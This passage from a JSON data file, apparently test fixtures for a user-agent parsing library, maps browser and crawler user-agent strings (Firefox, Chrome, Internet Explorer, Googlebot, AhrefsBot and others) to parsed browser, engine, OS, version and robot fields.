"browser_major" : "5", "browser_minor" : ".0", "browser_string" : "Chrome", "country" : "US", "engine" : "webkit", "engine_beta" : "", "engine_major" : "533", "engine_minor" : ".2", "engine_string" : "WebKit", "engine_version" : "533.2", "language" : "EN", "match" : [ "unix", "linux", "chrome", "webkit", "x11" ], "os" : "linux", "os_string" : "Linux", "robot" : 0 }, "Mozilla/5.0 (X11; U; Linux i686 (x86_64); de; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13" : { "browser" : "firefox", "browser_beta" : ".13", "browser_major" : "3", "browser_minor" : ".6", "browser_string" : "Firefox", "engine" : "gecko", "engine_string" : "Gecko", "match" : [ "unix", "linux", "firefox", "gecko", "x11" ], "os" : "linux", "os_string" : "Linux", "robot" : 0 }, "Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.18) Gecko/2010021501 Ubuntu/9.04 (jaunty) Firefox/3.0.18" : { "browser" : "firefox", "browser_beta" : ".18", "browser_major" : "3", "browser_minor" : ".0", "browser_string" : "Firefox", "country" : "GB", "engine" : "gecko", "engine_beta" : ".0.18", "engine_major" : "1", "engine_minor" : ".9", "engine_string" : "Gecko", "engine_version" : "1.9", "language" : "EN", "match" : [ "unix", "linux", "firefox", "gecko", "x11" ], "os" : "linux", "os_string" : "Linux", "robot" : 0 }, "Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.6) Gecko/2009020414 CentOS/3.0.6-1.el5.centos Firefox/3.0.6" : { "browser" : "firefox", "browser_beta" : ".6", "browser_major" : "3", "browser_minor" : ".0", "browser_string" : "Firefox", "country" : "GB", "engine" : "gecko", "engine_beta" : ".0.6", "engine_major" : "1", "engine_minor" : ".9", "engine_string" : "Gecko", "engine_version" : "1.9", "language" : "EN", "match" : [ "unix", "linux", "firefox", "gecko", "x11" ], "os" : "linux", "os_string" : "Linux", "robot" : 0 }, "Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16" : { "browser" : "chrome", "browser_beta" : ".648.133", "browser_major" : "10", "browser_minor" : ".0", "browser_string" : "Chrome", "country" : "US", "engine" : "webkit", "engine_beta" : "", "engine_major" : "534", "engine_minor" : ".16", "engine_string" : "WebKit", "engine_version" : "534.16", "language" : "EN", "match" : [ "unix", "linux", "chrome", "webkit", "x11" ], "os" : "linux", "os_string" : "Linux", "robot" : 0 }, "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20041107 Firefox/1.0" : { "browser" : "firefox", "browser_major" : "1", "browser_minor" : ".0", "browser_string" : "Firefox", "country" : "US", "engine" : "gecko", "engine_beta" : ".5", "engine_major" : "1", "engine_minor" : ".7", "engine_string" : "Gecko", "engine_version" : "1.7", "language" : "EN", "match" : [ "unix", "linux", "firefox", "gecko", "x11" ], "os" : "linux", "os_string" : "Linux", "robot" : 0 }, "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko Fedora/1.9.0.8-1.fc10 Kazehakase/0.5.6" : { "browser" : "mozilla", "browser_major" : "5", "browser_minor" : ".0", "browser_string" : "Mozilla", "country" : "US", "engine" : "gecko", "engine_beta" : ".0.8", "engine_major" : "1", "engine_minor" : ".9", "engine_string" : "Gecko", "engine_version" : "1.9", "language" : "EN", "match" : [ "unix", "linux", "netscape", "mozilla", "nav4up", "nav45up", "nav6", "nav6up", "gecko", "x11" ], "os" : "linux", "os_string" : "Linux", "robot" : 0 }, "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.16) Gecko/20120421 Firefox/11.0" : { "browser" : "firefox", "browser_major" : "11", "browser_minor" : ".0", "browser_string" : "Firefox", "country" : "US", "engine" : "gecko", "engine_beta" : ".1.16", "engine_major" : "1", "engine_minor" : ".9", "engine_string" : "Gecko", "engine_version" : "1.9", "language" : "EN", "match" : [ "unix", "linux", "firefox", "gecko", "x11" ], "os" : "linux", "os_string" : "Linux", "robot" : 0 }, "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.22) Gecko/20110905 Ubuntu/10.04 (lucid) Firefox/3.6.22" : { "browser" : "firefox", "browser_beta" : ".22", "browser_major" : "3", "browser_minor" : ".6", "browser_string" : "Firefox", "country" : "US", "engine" : "gecko", "engine_beta" : ".2.22", "engine_major" : "1", "engine_minor" : ".9", "engine_string" : "Gecko", "engine_version" : "1.9", "language" : "EN", "match" : [ "unix", "linux", "firefox", "gecko", "x11" ], "os" : "linux", "os_string" : "Linux", "robot" : 0 }, "Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.53 Safari/533.4" : { "browser" : "chrome", "browser_beta" : ".375.53", "browser_major" : "5", "browser_minor" : ".0", "browser_string" : "Chrome", "country" : "US", "engine" : "webkit", "engine_beta" : "", "engine_major" : "533", "engine_minor" : ".4", "engine_string" : "WebKit", "engine_version" : "533.4", "language" : "EN", "match" : [ "unix", "linux", "chrome", "webkit", "x11" ], "os" : "linux", "os_string" : "Linux", "robot" : 0 }, "Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.15 (KHTML, like Gecko) Chrome/10.0.613.0 Safari/534.15" : { "browser" : "chrome", "browser_beta" : ".613.0", "browser_major" : "10", "browser_minor" : ".0", "browser_string" : "Chrome", "country" : "US", "engine" : "webkit", "engine_beta" : "", "engine_major" : "534", "engine_minor" : ".15", "engine_string" : "WebKit", "engine_version" : "534.15", "language" : "EN", "match" : [ "unix", "linux", "chrome", "webkit", "x11" ], "os" : "linux", "os_string" : "Linux", "robot" : 0 }, "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.12) Gecko/20080214 Firefox/2.0.0.12" : { "browser" : "firefox", "browser_beta" : ".0.12", "browser_major" : "2", "browser_minor" : ".0", "browser_string" : "Firefox", "country" : "US", "engine" : "gecko", "engine_beta" : ".1.12", "engine_major" : "1", "engine_minor" : ".8", "engine_string" : "Gecko", "engine_version" : "1.8", "language" : "EN", "match" : [ "unix", "linux", "firefox", "gecko", "x11" ], "os" : "linux", "os_string" : "Linux", "robot" : 0 }, "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.11) Gecko/2009060309 Linux Mint/7 (Gloria) Firefox/3.0.11" : { "browser" : "firefox", "browser_beta" : ".11", "browser_major" : "3", "browser_minor" : ".0", "browser_string" : "Firefox", "country" : "US", "engine" : "gecko", "engine_beta" : ".0.11", "engine_major" : "1", "engine_minor" : ".9", "engine_string" : "Gecko", "engine_version" : "1.9", "language" : "EN", "match" : [ "unix", "linux", "firefox", "gecko", "x11" ], "os" : "linux", "os_string" : "Linux", "robot" : 0 }, "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8" : { "beta" : ".8", "browser" : "firefox", "browser_string" : "Firefox", "engine" : "gecko", "engine_beta" : ".2.8", "engine_major" : "1", "engine_minor" : ".9", "engine_string" : "Gecko", "engine_version" : "1.9", "language" : "EN", "major" : "3", "match" : [ "unix", "linux", "firefox", "gecko", "x11" ], "minor" : ".6", "os" : "linux", "os_string" : "Linux", "public_beta" : ".8", "public_major" : "3", "public_minor" : ".6", "public_version" : 3.6, "version" : 3.6 }, "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9pre) Gecko/2008042312 Firefox/3.0b5" : { "browser" : "firefox", "browser_beta" : "b5", "browser_major" : "3", "browser_minor" : ".0", "browser_string" : "Firefox", "country" : "US", "engine" : "gecko", "engine_beta" : "", "engine_major" : "1", "engine_minor" : ".9", "engine_string" : "Gecko", "engine_version" : "1.9", "language" : "EN", "match" : [ "unix", "linux", "firefox", "gecko", "x11" ], "os" : "linux", "os_string" : "Linux", "robot" : 0 }, "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:10.0.7) Gecko/20120829 YextBot/Java Firefox/10.0.7" : { "browser" : "firefox", "browser_beta" : ".7", "browser_major" : "10", "browser_minor" : ".0", "browser_string" : "Firefox", "country" : "US", "engine" : "gecko", "engine_beta" : ".7", "engine_major" : "10", "engine_minor" : ".0", "engine_string" : "Gecko", "engine_version" : "10.0", "language" : "EN", "match" : [ "unix", "linux", "firefox", "gecko", "robot", "x11" ], "os" : "linux", "os_string" : "Linux", "robot" : "unknown", "robot_beta" : ".7", "robot_major" : "10", "robot_minor" : ".0", "robot_name" : "Gecko/20120829 YextBot/Java Firefox", "robot_version" : "10.0" }, "Mozilla/5.0 (X11; U; Linux; en-US) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3) Arora/0.6" : { "browser" : "safari", "browser_major" : "2", "browser_minor" : ".0", "browser_string" : "Safari", "country" : "US", "engine" : "webkit", "engine_major" : "527", "engine_string" : "WebKit", "engine_version" : "527", "language" : "EN", "match" : [ "unix", "linux", "safari", "webkit", "x11" ], "os" : "linux", "os_string" : "Linux", "robot" : 0 }, "Mozilla/5.0 (compatible; 007ac9 Crawler; http://crawler.007ac9.net/)" : { "browser_major" : "5", "browser_minor" : ".0", "match" : [ "robot" ], "robot" : "unknown", "robot_name" : "007ac9 Crawler" }, "Mozilla/5.0 (compatible; Add Catalog/2.1;)" : { "browser_major" : "5", "browser_minor" : ".0", "match" : [], "robot" : 0 }, "Mozilla/5.0 (compatible; AhrefsBot/5.0; +http://ahrefs.com/robot/)" : { "browser_major" : "5", "browser_minor" : ".0", "match" : [ "robot", "ahrefs" ], "robot" : "ahrefs", "robot_beta" : "", "robot_major" : "5", "robot_minor" : ".0", "robot_name" : "Ahrefs", "robot_version" : "5.0" }, "Mozilla/5.0 (compatible; BLEXBot/1.0; +http://webmeup-crawler.com/)" : { "browser_major" : "1", "browser_minor" : ".0", "match" : [ "robot" ], "robot" : "unknown", "robot_beta" : "", "robot_major" : "1", "robot_minor" : ".0", "robot_name" : "BLEXBot", "robot_version" : "1.0" }, "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)" : { "browser_major" : "2", "browser_minor" : ".0", "match" : [ "robot", "baidu" ], "robot" : "baidu", "robot_beta" : "", "robot_major" : "2", "robot_minor" : ".0", "robot_name" : "Baidu", "robot_version" : "2.0" }, "Mozilla/5.0 (compatible; Blekkobot; ScoutJet; +http://blekko.com/about/blekkobot)" : { "browser_major" : "5", "browser_minor" : ".0", "match" : [ "robot" ], "robot" : "unknown", "robot_name" : "ScoutJet" }, "Mozilla/5.0 (compatible; DomainAppender /1.0; +http://www.profound.net/domainappender)" : { "browser_major" : "5", "browser_minor" : ".0", "match" : [ "robot" ], "robot" : "unknown", "robot_name" : "DomainAppender" }, "Mozilla/5.0 (compatible; DomainSigmaCrawler/0.1; +http://domainsigma.com/robot)" : { "browser_major" : 0, "browser_minor" : ".1", "match" : [ "robot" ], "robot" : "unknown", "robot_beta" : "", "robot_major" : "0", "robot_minor" : ".1", "robot_name" : "DomainSigmaCrawler", "robot_version" : "0.1" }, "Mozilla/5.0 (compatible; DotBot/1.1; http://www.opensiteexplorer.org/dotbot, help@moz.com)" : { "browser_major" : "1", "browser_minor" : ".1", "match" : [ "robot" ], "robot" : "unknown", "robot_beta" : "", "robot_major" : "1", "robot_minor" : ".1", "robot_name" : "DotBot", "robot_version" : "1.1" }, "Mozilla/5.0 (compatible; DuckDuckGo-Favicons-Bot/1.0; +http://duckduckgo.com)" : { "browser_major" : "1", "browser_minor" : ".0", "match" : [ "robot" ], "robot" : "unknown", "robot_beta" : "", "robot_major" : "1", "robot_minor" : ".0", "robot_name" : "DuckDuckGo-Favicons-Bot", "robot_version" : "1.0" }, "Mozilla/5.0 (compatible; Exabot/3.0; +http://www.exabot.com/go/robot)" : { "browser_major" : "3", "browser_minor" : ".0", "match" : [ "robot" ], "robot" : "unknown", "robot_beta" : "", "robot_major" : "3", "robot_minor" : ".0", "robot_name" : "Exabot", "robot_version" : "3.0" }, "Mozilla/5.0 (compatible; Findxbot/1.0; +http://www.findxbot.com)" : { "browser_major" : "1", "browser_minor" : ".0", "match" : [ "robot" ], "robot" : "unknown", "robot_beta" : "", "robot_major" : "1", "robot_minor" : ".0", "robot_name" : "Findxbot", "robot_version" : "1.0" }, "Mozilla/5.0 (compatible; Genieo/1.0 http://www.genieo.com/webfilter.html)" : { "browser_major" : "5", "browser_minor" : ".0", "match" : [], "robot" : 0 }, "Mozilla/5.0 (compatible; Gluten Free Crawler/1.0; +http://glutenfreepleasure.com/)" : { "browser_major" : "5", "browser_minor" : ".0", "match" : [ "robot" ], "robot" : "unknown", "robot_name" : "Gluten Free Crawler" }, "Mozilla/5.0 (compatible; Google-Site-Verification/1.0)" : { "browser_major" : "5", "browser_minor" : ".0", "match" : [ "robot" ], "robot" : "unknown", "robot_beta" : "", "robot_string" : "Google-Site-Verification", "robot_version" : "1.0" }, "Mozilla/5.0 (compatible; GoogleDocs; documents; +http://docs.google.com)" : { "browser_major" : "5", "browser_minor" : ".0", "match" : [ "robot" ], "robot" : "unknown", "robot_string" : "documents" }, "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" : { "browser_major" : "2", "browser_minor" : ".1", "match" : [ "robot", "google" ], "robot" : "google", "robot_beta" : "", "robot_major" : "2", "robot_minor" : ".1", "robot_name" : "Googlebot", "robot_version" : "2.1" }, "Mozilla/5.0 (compatible; GrapeshotCrawler/2.0; +http://www.grapeshot.co.uk/crawler.php)" : { "browser_major" : "2", "browser_minor" : ".0", "match" : [ "robot" ], "robot" : "unknown", "robot_beta" : "", "robot_major" : "2", "robot_minor" : ".0", "robot_name" : "GrapeshotCrawler", "robot_version" : "2.0" }, "Mozilla/5.0 (compatible; GroupHigh/1.0; +http://www.grouphigh.com/)" : { "browser_major" : "1", "browser_minor" : ".0", "match" : [ "robot" ], "robot" : "unknown", "robot_beta" : "", "robot_major" : "1", "robot_minor" : ".0", "robot_string" : "GroupHigh", "robot_version" : "1.0" }, "Mozilla/5.0 (compatible; HyperCrawl/0.2; +http://www.seograph.net/bot.html)" : { "browser_major" : 0, "browser_minor" : ".2", "match" : [ "robot" ], "robot" : "unknown", "robot_beta" : "", "robot_major" : "0", "robot_minor" : ".2", "robot_name" : "HyperCrawl", "robot_version" : "0.2" }, "Mozilla/5.0 (compatible; Konqueror/3.1-rc4; i686 Linux; 20020708)" : { "beta" : "-rc4", "browser" : "konqueror", "browser_string" : "Konqueror", "major" : "3", "match" : [ "unix", "linux", "konqueror" ], "minor" : ".1", "os" : "linux", "os_string" : "Linux", "public_beta" : "-rc4", "public_major" : "3", "public_minor" : ".1", "public_version" : 3.1, "version" : 3.1 }, "Mozilla/5.0 (compatible; Linux x86_64; Mail.RU_Bot/2.0; +http://go.mail.ru/help/robots)" : { "browser_major" : "5", "browser_minor" : ".0", "match" : [ "unix", "linux", "robot" ], "os" : "linux", "os_string" : "Linux", "robot" : "unknown", "robot_beta" : "", "robot_major" : "2", "robot_minor" : ".0", "robot_name" : "Mail.RU_Bot", "robot_version" : "2.0" }, "Mozilla/5.0 (compatible; Linux; InfegyAtlas/1.0; en-US; collection@infegy.com)" : { "browser_major" : "5", "browser_minor" : ".0", "country" : "US", "language" : "EN", "match" : [ "unix", "linux" ], "os" : "linux", "os_string" : "Linux", "robot" : 0 }, "Mozilla/5.0 (compatible; Lipperhey SEO Service; http://www.lipperhey.com/)" : { "browser_major" : "5", "browser_minor" : ".0", "match" : [ "robot" ], "robot" : "unknown", "robot_name" : "Lipperhey SEO Service" }, "Mozilla/5.0 (compatible; MJ12bot/v1.4.5; http://www.majestic12.co.uk/bot.php?+)" : { "browser_major" : "5", "browser_minor" : ".0", "match" : [ "robot", "mj12bot" ], "robot" : "mj12bot", "robot_beta" : ".5", "robot_major" : "1", "robot_minor" : ".4", "robot_name" : "Majestic-12 DSearch", "robot_version" : "1.4" }, "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0; MDDRJS)" : { "browser" : "ie", "browser_major" : "10", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "6", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "6.0", "match" : [ "windows", "winnt", "win32", "win7", "ie", "ie4up", "ie5up", "ie55up", "ie10", "trident" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0; MAARJS)" : { "browser" : "ie", "browser_major" : "10", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "6", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "6.0", "match" : [ "windows", "winnt", "win32", "win8", "win8_0", "ie", "ie4up", "ie5up", "ie55up", "ie10", "trident" ], "os" : "windows", "os_string" : "Win8.0", "robot" : 0 }, "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0; MALNJS)" : { "browser" : "ie", "browser_major" : "10", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "6", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "6.0", "match" : [ "windows", "winnt", "win32", "win8", "win8_0", "ie", "ie4up", "ie5up", "ie55up", "ie10", "trident" ], "os" : "windows", "os_string" : "Win8.0", "robot" : 0 }, "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0; MASMJS)" : { "browser" : "ie", "browser_major" : "10", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "6", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "6.0", "match" : [ "windows", "winnt", "win32", "win8", "win8_0", "ie", "ie4up", "ie5up", "ie55up", "ie10", "trident" ], "os" : "windows", "os_string" : "Win8.0", "robot" : 0 }, "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0; MDDCJS)" : { "browser" : "ie", "browser_major" : "10", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "6", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "6.0", "match" : [ "windows", "winnt", "win32", "win8", "win8_0", "ie", "ie4up", "ie5up", "ie55up", "ie10", "trident" ], "os" : "windows", "os_string" : "Win8.0", "robot" : 0 }, "Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 530)" : { "browser" : "ie", "browser_major" : "10", "browser_minor" : ".0", "browser_string" : "MSIE", "device" : "winphone", "device_string" : "NOKIA Lumia 530", "engine" : "trident", "engine_beta" : "", "engine_major" : "6", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "6.0", "match" : [ "device", "windows", "winphone", "winphone8", "mobile", "ie", "ie4up", "ie5up", "ie55up", "ie10", "trident" ], "os" : "winphone", "os_beta" : "", "os_major" : "8", "os_minor" : ".0", "os_string" : "Windows Phone", "os_version" : "8.0", "robot" : 0 }, "Mozilla/5.0 (compatible; MSIE 10.6; Windows NT 6.1; Trident/5.0; InfoPath.2; SLCC1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727) 3gpp-gba UNTRUSTED/1.0" : { "browser" : "ie", "browser_major" : "10", "browser_minor" : ".6", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "5", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "5.0", "match" : [ "windows", "winnt", "win32", "win7", "ie", "ie4up", "ie5up", "ie55up", "ie10", "trident", "dotnet" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (compatible; MSIE 8.0; MSIE 9.0; Windows NT 6.0; Trident/4.0; InfoPath.1; SV1; .NET CLR 3.8.36217; WOW64; en-US)" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "country" : "US", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "language" : "EN", "match" : [ "windows", "winnt", "win32", "winvista", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "WinVista", "robot" : 0 }, "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; BOIE9;ENGB)" : { "browser" : "ie", "browser_major" : "9", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "5", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "5.0", "match" : [ "windows", "winnt", "win32", "winvista", "ie", "ie4up", "ie5up", "ie55up", "ie9", "trident" ], "os" : "windows", "os_string" : "WinVista", "robot" : 0 }, "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; MSN Optimized;BE)" : { "browser" : "ie", "browser_major" : "9", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "5", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "5.0", "match" : [ "windows", "winnt", "win32", "winvista", "ie", "ie4up", "ie5up", "ie55up", "ie9", "trident" ], "os" : "windows", "os_string" : "WinVista", "robot" : 0 }, "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; msn OptimizedIE8;PTPT)" : { "browser" : "ie", "browser_major" : "9", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "5", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "5.0", "match" : [ "windows", "winnt", "win32", "winvista", "ie", "ie4up", "ie5up", "ie55up", "ie9", "trident" ], "os" : "windows", "os_string" : "WinVista", "robot" : 0 }, "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; BOIE9;NLNL)" : { "browser" : "ie", "browser_major" : "9", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "5", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "5.0", "match" : [ "windows", "winnt", "win32", "win7", "ie", "ie4up", "ie5up", "ie55up", "ie9", "trident" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; BOIE9;THTH)" : { "browser" : "ie", "browser_major" : "9", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "5", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "5.0", "match" : [ "windows", "winnt", "win32", "win7", "ie", "ie4up", "ie5up", "ie55up", "ie9", "trident" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; BOIE9;TRTR)" : { "browser" : "ie", "browser_major" : "9", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "5", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "5.0", "match" : [ "windows", "winnt", "win32", "win7", "ie", "ie4up", "ie5up", "ie55up", "ie9", "trident" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; MANM)" : { "browser" : "ie", "browser_major" : "9", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "5", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "5.0", "match" : [ "windows", "winnt", "win32", "win7", "ie", "ie4up", "ie5up", "ie55up", "ie9", "trident" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; msn OptimizedIE8;ENMY)" : { "browser" : "ie", "browser_major" : "9", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "5", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "5.0", "match" : [ "windows", "winnt", "win32", "win7", "ie", "ie4up", "ie5up", "ie55up", "ie9", "trident" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; yie9)" : { "browser" : "ie", "browser_major" : "9", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "5", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "5.0", "match" : [ "windows", "winnt", "win32", "win7", "ie", "ie4up", "ie5up", "ie55up", "ie9", "trident" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; BOIE9;ENCA)" : { "browser" : "ie", "browser_major" : "9", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "5", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "5.0", "match" : [ "windows", "winnt", "win32", "win7", "ie", "ie4up", "ie5up", "ie55up", "ie9", "trident" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; BOIE9;ENUSMSNIP)" : { "browser" : "ie", "browser_major" : "9", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "5", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "5.0", "match" : [ "windows", "winnt", "win32", "win7", "ie", "ie4up", "ie5up", "ie55up", "ie9", "trident" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; MAAU)" : { "browser" : "ie", "browser_major" : "9", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "5", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "5.0", "match" : [ "windows", "winnt", "win32", "win7", "ie", "ie4up", "ie5up", "ie55up", "ie9", "trident" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; NP06)" : { "browser" : "ie", "browser_major" : "9", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "5", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "5.0", "match" : [ "windows", "winnt", "win32", "win7", "ie", "ie4up", "ie5up", "ie55up", "ie9", "trident" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 3.5.21022; InfoPath.2; BitTitan)" : { "browser" : "ie", "browser_major" : "9", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "5", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "5.0", "match" : [ "windows", "winnt", "win32", "win7", "ie", "ie4up", "ie5up", "ie55up", "ie9", "trident", "dotnet" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; BOIE9;ENUSSEM)" : { "browser" : "ie", "browser_major" : "9", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "5", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "5.0", "match" : [ "windows", "winnt", "win32", "win7", "ie", "ie4up", "ie5up", "ie55up", "ie9", "trident" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (compatible; MSIE or Firefox mutant; not on Windows server; + http://tab.search.daum.net/aboutWebSearch.html) Daumoa/3.0" : { "browser" : "ie", "browser_major" : "5", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "ie", "ie4up", "ie5", "ie5up", "robot" ], "robot" : "unknown", "robot_name" : "http://tab.search.daum.net/aboutWebSearch.html" }, "Mozilla/5.0 (compatible; MegaIndex.ru/2.0; +https://www.megaindex.ru/?tab=linkAnalyze)" : { "browser_major" : "5", "browser_minor" : ".0", "match" : [ "robot" ], "robot" : "unknown", "robot_beta" : "", "robot_major" : "2", "robot_minor" : ".0", "robot_name" : "MegaIndex.ru", "robot_version" : "2.0" }, "Mozilla/5.0 (compatible; MojeekBot/0.6; +https://www.mojeek.com/bot.html)" : { "browser_major" : 0, "browser_minor" : ".6", "match" : [ "robot" ], "robot" : "unknown", "robot_beta" : "", "robot_major" : "0", "robot_minor" : ".6", "robot_name" : "MojeekBot", "robot_version" : "0.6" }, "Mozilla/5.0 (compatible; NetcraftSurveyAgent/1.0; +info@netcraft.com)" : { "browser_major" : "1", "browser_minor" : ".0", "match" : [ "robot" ], "robot" : "unknown", "robot_beta" : "", "robot_major" : "1", "robot_minor" : ".0", "robot_name" : "NetcraftSurveyAgent", "robot_version" : "1.0" }, "Mozilla/5.0 (compatible; OrangeBot/2.0; support.orangebot@orange.com)" : { "browser_major" : "2", "browser_minor" : ".0", "match" : [ "robot" ], "robot" : "unknown", "robot_beta" : "", "robot_major" : "2", "robot_minor" : ".0", "robot_name" : "OrangeBot", "robot_version" : "2.0" }, "Mozilla/5.0 (compatible; PageAnalyzer/1.1;)" : { "browser_major" : "1", 